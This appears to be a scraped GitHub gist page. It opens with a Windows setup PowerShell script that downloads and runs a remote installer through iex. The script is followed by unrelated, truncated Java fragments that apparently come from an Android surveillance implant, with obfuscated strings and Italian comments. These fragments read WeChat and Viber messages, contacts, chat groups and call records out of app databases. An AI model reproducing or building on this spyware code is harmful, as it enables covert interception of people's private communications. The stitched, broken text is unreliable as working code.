Skip to content

Instantly share code, notes, and snippets.

View peterclemenko's full-sized avatar

Peter Clemenko peterclemenko

View GitHub Profile
@peterclemenko
peterclemenko / setup.ps1
Last active December 28, 2023 02:27
w11 setup
Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))
choco upgrade all -y
choco install keepass -y
choco install keepass-plugin-keeagent -y
choco install ghidra -y
choco install eclipse-java-oxygen -y
choco install packer -y
choco install vagrant -y
choco install paint.net -y
winget install --id LMMS.LMMS -e --accept-package-agreements --accept-source-agreements --silent
private ChatGroups getChatGroups(GenericSqliteHelper helper) {
// SQLiteDatabase db = helper.getReadableDatabase();
final ChatGroups groups = new ChatGroups();
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
String key = cursor.getString(0);
String mids = cursor.getString(2);
String names = cursor.getString(3);
private void setMyAccount(GenericSqliteHelper helper) {
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
int id = cursor.getInt(0);
if (id == 2) {
myId = cursor.getString(2);
} else if (id == 4) {
private void saveWechatContacts(GenericSqliteHelper helper) {
String[] projection = new String[] { M.e("username"), M.e("nickname")};
boolean tosave = false;
RecordVisitor visitor = new RecordVisitor(projection, M.e("nickname not null ")) {
@Override
public long cursor(Cursor cursor) {
String username = cursor.getString(0);
// select messages._id,chat_list.key_remote_jid,key_from_me,data from
// chat_list,messages where chat_list.key_remote_jid =
// messages.key_remote_jid
private long fetchMessages(GenericSqliteHelper helper, final ChatGroups groups, long lastLine) {
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();
String sqlquery = M.e("select m.createTime, m.talker, m.isSend, m.content, c.nickname from message as m join rcontact as c on m.talker=c.username where m.type = 1 and createTime > ? order by createTime");
RecordVisitor visitor = new RecordVisitor() {
// select messages._id,chat_list.key_remote_jid,key_from_me,data from
// chat_list,messages where chat_list.key_remote_jid =
// messages.key_remote_jid
/**
* Apre msgstore.db, estrae le conversazioni. Per ogni conversazione legge i
* messaggi relativi
*
* Se wechat non puo' scrivere nel db cifrato, switcha su quello in chiaro
* translation:
public class ChatViberGroups extends ChatGroups {
}
public static boolean getCurrentCall(GenericSqliteHelper helper, final CallInfo callInfo) {
String sqlQuery = M.e("select _id,number,date,type from calls order by _id desc limit 1");
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
callInfo.id = cursor.getInt(0);
callInfo.peer = cursor.getString(1);
private void updateMarkupViber(long newLastId, boolean serialize) {
if (Cfg.DEBUG) {
Check.log(TAG + " (updateMarkupViber), +lastId: " + newLastId);
}
try {
markup.writeMarkupSerializable(newLastId);
Long verify = markup.unserialize(new Long(0));
private long fetchMessages(GenericSqliteHelper helper, final ViberConversation conversation, long lastConvId) {
// select author, body_xml from Messages where convo_id == 118 and id >=
// 101 and body_xml != ''
try {
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();
String[] projection = new String[] { M.e("_id"), M.e("participant_id"), M.e("body"), M.e("date"),
M.e("address"), M.e("type") };
String selection = M.e("conversation_id = ") + conversation.id + M.e(" and date > ") + lastConvId;